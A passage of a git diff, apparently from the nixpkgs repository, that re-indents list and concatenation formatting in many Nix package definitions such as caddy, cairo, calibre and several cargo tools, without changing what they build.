+    gstreamer
+    gst-plugins-base
+    gst-plugins-bad
+    gst-plugins-good
+    gst-plugins-ugly
+    gst-libav
+    wrapGAppsHook3
+  ]);
 
   meta = {
     description = "Tool to record a running X desktop to an animation suitable for presentation in a web browser";
diff --git a/pkgs/by-name/c3/c3c/package.nix b/pkgs/by-name/c3/c3c/package.nix
index 28253a6300da..32680ab3d3b8 100644
--- a/pkgs/by-name/c3/c3c/package.nix
+++ b/pkgs/by-name/c3/c3c/package.nix
@@ -51,7 +51,8 @@ llvmPackages.stdenv.mkDerivation (finalAttrs: {
     curl
     libxml2
     libffi
-  ] ++ lib.optionals llvmPackages.stdenv.hostPlatform.isDarwin [ xar ];
+  ]
+  ++ lib.optionals llvmPackages.stdenv.hostPlatform.isDarwin [ xar ];
 
   nativeCheckInputs = [ python3 ];
 
diff --git a/pkgs/by-name/ca/caddy/package.nix b/pkgs/by-name/ca/caddy/package.nix
index 2786618a4cc2..7e01ddc7a67c 100644
--- a/pkgs/by-name/ca/caddy/package.nix
+++ b/pkgs/by-name/ca/caddy/package.nix
@@ -48,27 +48,26 @@ buildGoModule {
 
   nativeBuildInputs = [ installShellFiles ];
 
-  postInstall =
-    ''
-      install -Dm644 ${dist}/init/caddy.service ${dist}/init/caddy-api.service -t $out/lib/systemd/system
+  postInstall = ''
+    install -Dm644 ${dist}/init/caddy.service ${dist}/init/caddy-api.service -t $out/lib/systemd/system
 
-      substituteInPlace $out/lib/systemd/system/caddy.service \
-        --replace-fail "/usr/bin/caddy" "$out/bin/caddy"
-      substituteInPlace $out/lib/systemd/system/caddy-api.service \
-        --replace-fail "/usr/bin/caddy" "$out/bin/caddy"
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      # Generating man pages and completions fail on cross-compilation
-      # https://github.com/NixOS/nixpkgs/issues/308283
+    substituteInPlace $out/lib/systemd/system/caddy.service \
+      --replace-fail "/usr/bin/caddy" "$out/bin/caddy"
+    substituteInPlace $out/lib/systemd/system/caddy-api.service \
+      --replace-fail "/usr/bin/caddy" "$out/bin/caddy"
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    # Generating man pages and completions fail on cross-compilation
+    # https://github.com/NixOS/nixpkgs/issues/308283
 
-      $out/bin/caddy manpage --directory manpages
-      installManPage manpages/*
+    $out/bin/caddy manpage --directory manpages
+    installManPage manpages/*
 
-      installShellCompletion --cmd caddy \
-        --bash <($out/bin/caddy completion bash) \
-        --fish <($out/bin/caddy completion fish) \
-        --zsh <($out/bin/caddy completion zsh)
-    '';
+    installShellCompletion --cmd caddy \
+      --bash <($out/bin/caddy completion bash) \
+      --fish <($out/bin/caddy completion fish) \
+      --zsh <($out/bin/caddy completion zsh)
+  '';
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/ca/cadical/package.nix b/pkgs/by-name/ca/cadical/package.nix
index dfc2727379cc..c25118a876dc 100644
--- a/pkgs/by-name/ca/cadical/package.nix
+++ b/pkgs/by-name/ca/cadical/package.nix
@@ -58,15 +58,14 @@ stdenv.mkDerivation rec {
   enableParallelBuilding = true;
 
   # fix static build
-  postPatch =
-    ''
-      substituteInPlace makefile.in --replace-fail "ar rc" '$(AR) rc'
-    ''
-    # Racy/flaky tests that sometimes spontaneously combust on darwin.
-    + lib.optionalString (stdenv.hostPlatform.isDarwin && (lib.versionAtLeast version "2.1.1")) ''
-      substituteInPlace test/api/run.sh --replace-fail 'run parcompwrite' ""
-      substituteInPlace test/api/run.sh --replace-fail 'run example_tracer' ""
-    '';
+  postPatch = ''
+    substituteInPlace makefile.in --replace-fail "ar rc" '$(AR) rc'
+  ''
+  # Racy/flaky tests that sometimes spontaneously combust on darwin.
+  + lib.optionalString (stdenv.hostPlatform.isDarwin && (lib.versionAtLeast version "2.1.1")) ''
+    substituteInPlace test/api/run.sh --replace-fail 'run parcompwrite' ""
+    substituteInPlace test/api/run.sh --replace-fail 'run example_tracer' ""
+  '';
 
   # the configure script is not generated by autotools and does not accept the
   # arguments that the default configurePhase passes like --prefix and --libdir
diff --git a/pkgs/by-name/ca/cairo/package.nix b/pkgs/by-name/ca/cairo/package.nix
index 1d96951ac59c..cf1685cfd3bf 100644
--- a/pkgs/by-name/ca/cairo/package.nix
+++ b/pkgs/by-name/ca/cairo/package.nix
@@ -73,49 +73,47 @@ stdenv.mkDerivation (
       })
     ];
 
-    propagatedBuildInputs =
-      [
-        fontconfig
-        freetype
-        pixman
-        libpng
-        zlib
-      ]
-      ++ optionals x11Support [
-        libXext
-        libXrender
-      ]
-      ++ optionals xcbSupport [ libxcb ]
-      ++ optional gobjectSupport glib; # TODO: maybe liblzo but what would it be for here?
+    propagatedBuildInputs = [
+      fontconfig
+      freetype
+      pixman
+      libpng
+      zlib
+    ]
+    ++ optionals x11Support [
+      libXext
+      libXrender
+    ]
+    ++ optionals xcbSupport [ libxcb ]
+    ++ optional gobjectSupport glib; # TODO: maybe liblzo but what would it be for here?
 
-    mesonFlags =
-      [
-        "-Dgtk_doc=true"
+    mesonFlags = [
+      "-Dgtk_doc=true"
 
-        # error: #error config.h must be included before this header
-        "-Dsymbol-lookup=disabled"
+      # error: #error config.h must be included before this header
+      "-Dsymbol-lookup=disabled"
 
-        # Only used in tests, causes a dependency cycle
-        "-Dspectre=disabled"
+      # Only used in tests, causes a dependency cycle
+      "-Dspectre=disabled"
 
-        (lib.mesonEnable "glib" gobjectSupport)
-        (lib.mesonEnable "tests" finalAttrs.finalPackage.doCheck)
-        (lib.mesonEnable "xlib" x11Support)
-        (lib.mesonEnable "xcb" xcbSupport)
-      ]
-      ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-        "--cross-file=${builtins.toFile "cross-file.conf" ''
-          [properties]
-          ipc_rmid_deferred_release = ${
-            {
-              linux = "true";
-              freebsd = "true";
-              netbsd = "false";
-            }
-            .${stdenv.hostPlatform.parsed.kernel.name} or (throw "Unknown value for ipc_rmid_deferred_release")
+      (lib.mesonEnable "glib" gobjectSupport)
+      (lib.mesonEnable "tests" finalAttrs.finalPackage.doCheck)
+      (lib.mesonEnable "xlib" x11Support)
+      (lib.mesonEnable "xcb" xcbSupport)
+    ]
+    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+      "--cross-file=${builtins.toFile "cross-file.conf" ''
+        [properties]
+        ipc_rmid_deferred_release = ${
+          {
+            linux = "true";
+            freebsd = "true";
+            netbsd = "false";
           }
-        ''}"
-      ];
+          .${stdenv.hostPlatform.parsed.kernel.name} or (throw "Unknown value for ipc_rmid_deferred_release")
+        }
+      ''}"
+    ];
 
     preConfigure = ''
       patchShebangs version.py
@@ -156,7 +154,8 @@ stdenv.mkDerivation (
         "cairo-pdf"
         "cairo-ps"
         "cairo-svg"
-      ] ++ lib.optional gobjectSupport "cairo-gobject";
+      ]
+      ++ lib.optional gobjectSupport "cairo-gobject";
       platforms = platforms.all;
     };
   }
diff --git a/pkgs/by-name/ca/cakelisp/package.nix b/pkgs/by-name/ca/cakelisp/package.nix
index 53db7144b233..88cf6b82658a 100644
--- a/pkgs/by-name/ca/cakelisp/package.nix
+++ b/pkgs/by-name/ca/cakelisp/package.nix
@@ -19,18 +19,17 @@ stdenv.mkDerivation {
 
   buildInputs = [ gcc ];
 
-  postPatch =
-    ''
-      substituteInPlace runtime/HotReloading.cake \
-          --replace '"/usr/bin/g++"' '"${gcc}/bin/g++"'
-      substituteInPlace src/ModuleManager.cpp \
-          --replace '"/usr/bin/g++"' '"${gcc}/bin/g++"'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace Build.sh --replace '--export-dynamic' '-export_dynamic'
-      substituteInPlace runtime/HotReloading.cake --replace '--export-dynamic' '-export_dynamic'
-      substituteInPlace Bootstrap.cake --replace '--export-dynamic' '-export_dynamic'
-    '';
+  postPatch = ''
+    substituteInPlace runtime/HotReloading.cake \
+        --replace '"/usr/bin/g++"' '"${gcc}/bin/g++"'
+    substituteInPlace src/ModuleManager.cpp \
+        --replace '"/usr/bin/g++"' '"${gcc}/bin/g++"'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace Build.sh --replace '--export-dynamic' '-export_dynamic'
+    substituteInPlace runtime/HotReloading.cake --replace '--export-dynamic' '-export_dynamic'
+    substituteInPlace Bootstrap.cake --replace '--export-dynamic' '-export_dynamic'
+  '';
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/ca/calc/package.nix b/pkgs/by-name/ca/calc/package.nix
index 79ae9befe1ea..b34f79a269c7 100644
--- a/pkgs/by-name/ca/calc/package.nix
+++ b/pkgs/by-name/ca/calc/package.nix
@@ -37,23 +37,22 @@ stdenv.mkDerivation (finalAttrs: {
     readline
   ];
 
-  makeFlags =
-    [
-      "T=$(out)"
-      "INCDIR="
-      "BINDIR=/bin"
-      "LIBDIR=/lib"
-      "CALC_SHAREDIR=/share/calc"
-      "CALC_INCDIR=/include"
-      "MANDIR=/share/man/man1"
+  makeFlags = [
+    "T=$(out)"
+    "INCDIR="
+    "BINDIR=/bin"
+    "LIBDIR=/lib"
+    "CALC_SHAREDIR=/share/calc"
+    "CALC_INCDIR=/include"
+    "MANDIR=/share/man/man1"
 
-      # Handle LDFLAGS defaults in calc
-      "DEFAULT_LIB_INSTALL_PATH=$(out)/lib"
-    ]
-    ++ lib.optionals enableReadline [
-      "READLINE_LIB=-lreadline"
-      "USE_READLINE=-DUSE_READLINE"
-    ];
+    # Handle LDFLAGS defaults in calc
+    "DEFAULT_LIB_INSTALL_PATH=$(out)/lib"
+  ]
+  ++ lib.optionals enableReadline [
+    "READLINE_LIB=-lreadline"
+    "USE_READLINE=-DUSE_READLINE"
+  ];
 
   meta = {
     homepage = "http://www.isthe.com/chongo/tech/comp/calc/";
diff --git a/pkgs/by-name/ca/calibre/package.nix b/pkgs/by-name/ca/calibre/package.nix
index 52c1d0061ed8..943ba2434973 100644
--- a/pkgs/by-name/ca/calibre/package.nix
+++ b/pkgs/by-name/ca/calibre/package.nix
@@ -55,7 +55,8 @@ stdenv.mkDerivation (finalAttrs: {
       url = "https://raw.githubusercontent.com/debian-calibre/calibre/debian/${finalAttrs.version}+ds-1/debian/patches/hardening/0007-Hardening-Qt-code.patch";
       hash = "sha256-V/ZUTH0l4QSfM0dHrgLGdJjF/CCQ0S/fnCP/ZKD563U=";
     })
-  ] ++ lib.optional (!unrarSupport) ./dont_build_unrar_plugin.patch;
+  ]
+  ++ lib.optional (!unrarSupport) ./dont_build_unrar_plugin.patch;
 
   prePatch = ''
     sed -i "s@\[tool.sip.project\]@[tool.sip.project]\nsip-include-dirs = [\"${python3Packages.pyqt6}/${python3Packages.python.sitePackages}/PyQt6/bindings\"]@g" \
@@ -144,7 +145,8 @@ stdenv.mkDerivation (finalAttrs: {
       ++ lib.optional unrarSupport unrardll
     ))
     xdg-utils
-  ] ++ lib.optional speechSupport speechd-minimal;
+  ]
+  ++ lib.optional speechSupport speechd-minimal;
 
   installPhase = ''
     runHook preInstall
diff --git a/pkgs/by-name/ca/calls/package.nix b/pkgs/by-name/ca/calls/package.nix
index 42b96b70058e..6fa3831cdcf7 100644
--- a/pkgs/by-name/ca/calls/package.nix
+++ b/pkgs/by-name/ca/calls/package.nix
@@ -52,23 +52,22 @@ stdenv.mkDerivation (finalAttrs: {
     "devdoc"
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      desktop-file-utils
-      appstream-glib
-      vala
-      wrapGAppsHook4
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-      docutils
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    desktop-file-utils
+    appstream-glib
+    vala
+    wrapGAppsHook4
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+    docutils
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     modemmanager
diff --git a/pkgs/by-name/ca/cameractrls/package.nix b/pkgs/by-name/ca/cameractrls/package.nix
index d56b75124ddc..9d7f988d7009 100644
--- a/pkgs/by-name/ca/cameractrls/package.nix
+++ b/pkgs/by-name/ca/cameractrls/package.nix
@@ -35,7 +35,8 @@ let
     "cameraptzmidi"
     "cameraptzspnav"
     "cameraview"
-  ] ++ lib.optionals (withGtk != null) [ mainExecutable ];
+  ]
+  ++ lib.optionals (withGtk != null) [ mainExecutable ];
 in
 python3Packages.buildPythonApplication rec {
   pname = "cameractrls";
@@ -73,29 +74,28 @@ python3Packages.buildPythonApplication rec {
   # Only used when withGtk != null
   dependencies = with python3Packages; [ pygobject3 ];
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p $out/bin
+    mkdir -p $out/bin
 
-      for file in ${lib.concatStringsSep " " installExecutables}; do
-        install -Dm755 $file.py -t ${modulePath}
-        ln -s ${modulePath}/$file.py $out/bin/$file
-      done
-    ''
-    + lib.optionalString (withGtk != null) ''
-      install -Dm644 pkg/hu.irl.cameractrls.svg -t $out/share/icons/hicolor/scalable/apps
-      install -Dm644 pkg/hu.irl.cameractrls.metainfo.xml -t $out/share/metainfo
-      mkdir -p $out/share/applications
-      desktop-file-install \
-        --dir="$out/share/applications" \
-        --set-key=Exec --set-value="${mainExecutable}" \
-        pkg/hu.irl.cameractrls.desktop
-    ''
-    + ''
-      runHook postInstall
-    '';
+    for file in ${lib.concatStringsSep " " installExecutables}; do
+      install -Dm755 $file.py -t ${modulePath}
+      ln -s ${modulePath}/$file.py $out/bin/$file
+    done
+  ''
+  + lib.optionalString (withGtk != null) ''
+    install -Dm644 pkg/hu.irl.cameractrls.svg -t $out/share/icons/hicolor/scalable/apps
+    install -Dm644 pkg/hu.irl.cameractrls.metainfo.xml -t $out/share/metainfo
+    mkdir -p $out/share/applications
+    desktop-file-install \
+      --dir="$out/share/applications" \
+      --set-key=Exec --set-value="${mainExecutable}" \
+      pkg/hu.irl.cameractrls.desktop
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   dontWrapGApps = true;
   dontWrapPythonPrograms = true;
diff --git a/pkgs/by-name/ca/camilladsp/package.nix b/pkgs/by-name/ca/camilladsp/package.nix
index 33995fcba6f8..9cea563cedd9 100644
--- a/pkgs/by-name/ca/camilladsp/package.nix
+++ b/pkgs/by-name/ca/camilladsp/package.nix
@@ -37,7 +37,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
   buildInputs = [
     libpulseaudio
     openssl
-  ] ++ lib.optionals stdenv.isLinux [ alsa-lib ];
+  ]
+  ++ lib.optionals stdenv.isLinux [ alsa-lib ];
 
   passthru.updateScript = nix-update-script { extraArgs = [ "--generate-lockfile" ]; };
 
diff --git a/pkgs/by-name/ca/canaille/package.nix b/pkgs/by-name/ca/canaille/package.nix
index d53f3648d64e..4afb5fa4321e 100644
--- a/pkgs/by-name/ca/canaille/package.nix
+++ b/pkgs/by-name/ca/canaille/package.nix
@@ -123,7 +123,8 @@ python.pkgs.buildPythonApplication rec {
       sqlalchemy
       sqlalchemy-json
       sqlalchemy-utils
-    ] ++ sqlalchemy.optional-dependencies.postgresql_psycopg2binary;
+    ]
+    ++ sqlalchemy.optional-dependencies.postgresql_psycopg2binary;
     otp = [
       otpauth
       pillow
diff --git a/pkgs/by-name/ca/cantata/package.nix b/pkgs/by-name/ca/cantata/package.nix
index cb96570ca55b..c82ae0b466ec 100644
--- a/pkgs/by-name/ca/cantata/package.nix
+++ b/pkgs/by-name/ca/cantata/package.nix
@@ -177,7 +177,8 @@ stdenv.mkDerivation (finalAttrs: {
     qt5.qtbase
     qt5.qtsvg
     (perl.withPackages (ppkgs: with ppkgs; [ URI ]))
-  ] ++ lib.flatten (builtins.catAttrs "pkgs" (builtins.filter (e: e.enable) options));
+  ]
+  ++ lib.flatten (builtins.catAttrs "pkgs" (builtins.filter (e: e.enable) options));
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/by-name/ca/capnproto/package.nix b/pkgs/by-name/ca/capnproto/package.nix
index 646df7c9a87b..fdfb91242503 100644
--- a/pkgs/by-name/ca/capnproto/package.nix
+++ b/pkgs/by-name/ca/capnproto/package.nix
@@ -44,7 +44,8 @@ clangStdenv.mkDerivation rec {
   propagatedBuildInputs = [
     openssl
     zlib
-  ] ++ lib.optional (clangStdenv.cc.isClang && clangStdenv.targetPlatform.isStatic) empty-libgcc_eh;
+  ]
+  ++ lib.optional (clangStdenv.cc.isClang && clangStdenv.targetPlatform.isStatic) empty-libgcc_eh;
 
   # FIXME: separate the binaries from the stuff that user systems actually use
   # This runs into a terrible UX issue in Lix and I just don't want to debug it
diff --git a/pkgs/by-name/ca/cardinal/package.nix b/pkgs/by-name/ca/cardinal/package.nix
index 3c26e9975ffb..6fbcb83ed85e 100644
--- a/pkgs/by-name/ca/cardinal/package.nix
+++ b/pkgs/by-name/ca/cardinal/package.nix
@@ -70,13 +70,12 @@ stdenv.mkDerivation rec {
   ];
 
   hardeningDisable = [ "format" ];
-  makeFlags =
-    [
-      "SYSDEPS=true"
-      "PREFIX=$(out)"
-    ]
-    ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "CROSS_COMPILING=true"
-    ++ lib.optional headless "HEADLESS=true";
+  makeFlags = [
+    "SYSDEPS=true"
+    "PREFIX=$(out)"
+  ]
+  ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "CROSS_COMPILING=true"
+  ++ lib.optional headless "HEADLESS=true";
 
   postInstall = ''
     wrapProgram $out/bin/Cardinal \
diff --git a/pkgs/by-name/ca/cardpeek/package.nix b/pkgs/by-name/ca/cardpeek/package.nix
index 84c2f283d035..6d10b364f128 100644
--- a/pkgs/by-name/ca/cardpeek/package.nix
+++ b/pkgs/by-name/ca/cardpeek/package.nix
@@ -42,7 +42,8 @@ stdenv.mkDerivation {
     lua5_2
     curl
     readline
-  ] ++ lib.optional stdenv.hostPlatform.isLinux pcsclite;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux pcsclite;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/ca/cargo-c/package.nix b/pkgs/by-name/ca/cargo-c/package.nix
index 7cd88d36d85a..1b69a994bead 100644
--- a/pkgs/by-name/ca/cargo-c/package.nix
+++ b/pkgs/by-name/ca/cargo-c/package.nix
@@ -28,14 +28,13 @@ rustPlatform.buildRustPackage rec {
     pkg-config
     (lib.getDev curl)
   ];
-  buildInputs =
-    [
-      openssl
-      curl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+    curl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   # Ensure that we are avoiding build of the curl vendored in curl-sys
   doInstallCheck = stdenv.hostPlatform.libc == "glibc";
diff --git a/pkgs/by-name/ca/cargo-crev/package.nix b/pkgs/by-name/ca/cargo-crev/package.nix
index 11b1a97c8724..93425cc26597 100644
--- a/pkgs/by-name/ca/cargo-crev/package.nix
+++ b/pkgs/by-name/ca/cargo-crev/package.nix
@@ -36,12 +36,13 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    curl
+  ];
 
   nativeCheckInputs = [ gitMinimal ];
 
diff --git a/pkgs/by-name/ca/cargo-cyclonedx/package.nix b/pkgs/by-name/ca/cargo-cyclonedx/package.nix
index 193a967a79f7..2c77ee4e097d 100644
--- a/pkgs/by-name/ca/cargo-cyclonedx/package.nix
+++ b/pkgs/by-name/ca/cargo-cyclonedx/package.nix
@@ -26,13 +26,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   meta = with lib; {
     description = "Creates CycloneDX Software Bill of Materials (SBOM) from Rust (Cargo) projects";
diff --git a/pkgs/by-name/ca/cargo-deadlinks/package.nix b/pkgs/by-name/ca/cargo-deadlinks/package.nix
index 56d9951cb20a..32a9987b2662 100644
--- a/pkgs/by-name/ca/cargo-deadlinks/package.nix
+++ b/pkgs/by-name/ca/cargo-deadlinks/package.nix
@@ -19,15 +19,15 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-d5e5CpO/c6KrIQE8dJqXT19Qe0CRbIqgCDHNWz4TK8Q=";
 
-  checkFlags =
-    [
-      # uses internet
-      "--skip non_existent_http_link --skip working_http_check"
-      # makes assumption about HTML paths that changed in rust 1.82.0
-      "--skip simple_project::it_checks_okay_project_correctly"
-      "--skip cli_args::it_passes_arguments_through_to_cargo"
-    ]
-    ++ lib.optional (stdenv.hostPlatform.system != "x86_64-linux")
+  checkFlags = [
+    # uses internet
+    "--skip non_existent_http_link --skip working_http_check"
+    # makes assumption about HTML paths that changed in rust 1.82.0
+    "--skip simple_project::it_checks_okay_project_correctly"
+    "--skip cli_args::it_passes_arguments_through_to_cargo"
+  ]
+  ++
+    lib.optional (stdenv.hostPlatform.system != "x86_64-linux")
       # assumes the target is x86_64-unknown-linux-gnu
       "--skip simple_project::it_checks_okay_project_correctly";
 
diff --git a/pkgs/by-name/ca/cargo-dephell/package.nix b/pkgs/by-name/ca/cargo-dephell/package.nix
index 2d20d48146b7..0d5d8f5dc928 100644
--- a/pkgs/by-name/ca/cargo-dephell/package.nix
+++ b/pkgs/by-name/ca/cargo-dephell/package.nix
@@ -24,22 +24,20 @@ rustPlatform.buildRustPackage rec {
     lockFile = ./Cargo.lock;
   };
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-      libgit2
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+    libgit2
+  ];
 
   # update Cargo.lock to work with openssl 3
   postPatch = ''
diff --git a/pkgs/by-name/ca/cargo-fund/package.nix b/pkgs/by-name/ca/cargo-fund/package.nix
index f76b85b33093..3e9900440ce1 100644
--- a/pkgs/by-name/ca/cargo-fund/package.nix
+++ b/pkgs/by-name/ca/cargo-fund/package.nix
@@ -28,12 +28,13 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    curl
+  ];
 
   meta = with lib; {
     description = "Discover funding links for your project's dependencies";
diff --git a/pkgs/by-name/ca/cargo-geiger/package.nix b/pkgs/by-name/ca/cargo-geiger/package.nix
index c32c8cd452b6..fbbf57bd70e9 100644
--- a/pkgs/by-name/ca/cargo-geiger/package.nix
+++ b/pkgs/by-name/ca/cargo-geiger/package.nix
@@ -27,16 +27,18 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-aDgpEfX0QRkQD6c4ant6uSN18WLHVnZISRr7lyu9IzA=";
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-      curl
-    ];
-  nativeBuildInputs =
-    [ pkg-config ]
-    # curl-sys wants to run curl-config on darwin
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ curl.dev ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+    curl
+  ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  # curl-sys wants to run curl-config on darwin
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ curl.dev ];
 
   preCheck = ''
     export HOME=$(mktemp -d)
diff --git a/pkgs/by-name/ca/cargo-generate/package.nix b/pkgs/by-name/ca/cargo-generate/package.nix
index 668174e7aede..d40732cb6538 100644
--- a/pkgs/by-name/ca/cargo-generate/package.nix
+++ b/pkgs/by-name/ca/cargo-generate/package.nix
@@ -54,18 +54,17 @@ rustPlatform.buildRustPackage rec {
   # Exclude some tests that don't work in sandbox:
   # - favorites_default_to_git_if_not_defined: requires network access to github.com
   # - should_canonicalize: the test assumes that it will be called from the /Users/<project_dir>/ folder on darwin variant.
-  checkFlags =
-    [
-      "--skip=favorites::favorites_default_to_git_if_not_defined"
-      "--skip=git_instead_of::should_read_the_instead_of_config_and_rewrite_an_git_at_url_to_https"
-      "--skip=git_instead_of::should_read_the_instead_of_config_and_rewrite_an_ssh_url_to_https"
-      "--skip=git_over_ssh::it_should_retrieve_the_private_key_from_ssh_agent"
-      "--skip=git_over_ssh::it_should_support_a_public_repo"
-      "--skip=git_over_ssh::it_should_use_a_ssh_key_provided_by_identity_argument"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--skip=git::utils::should_canonicalize"
-    ];
+  checkFlags = [
+    "--skip=favorites::favorites_default_to_git_if_not_defined"
+    "--skip=git_instead_of::should_read_the_instead_of_config_and_rewrite_an_git_at_url_to_https"
+    "--skip=git_instead_of::should_read_the_instead_of_config_and_rewrite_an_ssh_url_to_https"
+    "--skip=git_over_ssh::it_should_retrieve_the_private_key_from_ssh_agent"
+    "--skip=git_over_ssh::it_should_support_a_public_repo"
+    "--skip=git_over_ssh::it_should_use_a_ssh_key_provided_by_identity_argument"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--skip=git::utils::should_canonicalize"
+  ];
 
   env = {
     LIBGIT2_NO_VENDOR = 1;
diff --git a/pkgs/by-name/ca/cargo-lambda/package.nix b/pkgs/by-name/ca/cargo-lambda/package.nix
index ff0b0a820001..b9f81bbd6287 100644
--- a/pkgs/by-name/ca/cargo-lambda/package.nix
+++ b/pkgs/by-name/ca/cargo-lambda/package.nix
@@ -33,11 +33,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   # Remove files that don't make builds reproducible:
   # - Remove build.rs file that adds the build date to the version.
diff --git a/pkgs/by-name/ca/cargo-release/package.nix b/pkgs/by-name/ca/cargo-release/package.nix
index 8d755e78ef27..4706aacd48e0 100644
--- a/pkgs/by-name/ca/cargo-release/package.nix
+++ b/pkgs/by-name/ca/cargo-release/package.nix
@@ -28,14 +28,13 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      libgit2
-      openssl
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    libgit2
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   nativeCheckInputs = [
     git
diff --git a/pkgs/by-name/ca/cargo-tarpaulin/package.nix b/pkgs/by-name/ca/cargo-tarpaulin/package.nix
index 3d08cbd550f1..29712c160710 100644
--- a/pkgs/by-name/ca/cargo-tarpaulin/package.nix
+++ b/pkgs/by-name/ca/cargo-tarpaulin/package.nix
@@ -25,11 +25,12 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [
     pkg-config
   ];
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      curl
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    curl
+  ];
 
   doCheck = false;
 
diff --git a/pkgs/by-name/ca/cargo-tauri/package.nix b/pkgs/by-name/ca/cargo-tauri/package.nix
index 42f9aeec2039..5f1f91640822 100644
--- a/pkgs/by-name/ca/cargo-tauri/package.nix
+++ b/pkgs/by-name/ca/cargo-tauri/package.nix
@@ -27,12 +27,13 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      gtk4
-      webkitgtk_4_1
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    gtk4
+    webkitgtk_4_1
+  ];
 
   cargoBuildFlags = [ "--package tauri-cli" ];
   cargoTestFlags = cargoBuildFlags;
diff --git a/pkgs/by-name/ca/cargo-tauri/test-app.nix b/pkgs/by-name/ca/cargo-tauri/test-app.nix
index 67d17cece65c..f01a1daaffcf 100644
--- a/pkgs/by-name/ca/cargo-tauri/test-app.nix
+++ b/pkgs/by-name/ca/cargo-tauri/test-app.nix
@@ -49,13 +49,14 @@ stdenv.mkDerivation (finalAttrs: {
     wrapGAppsHook4
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
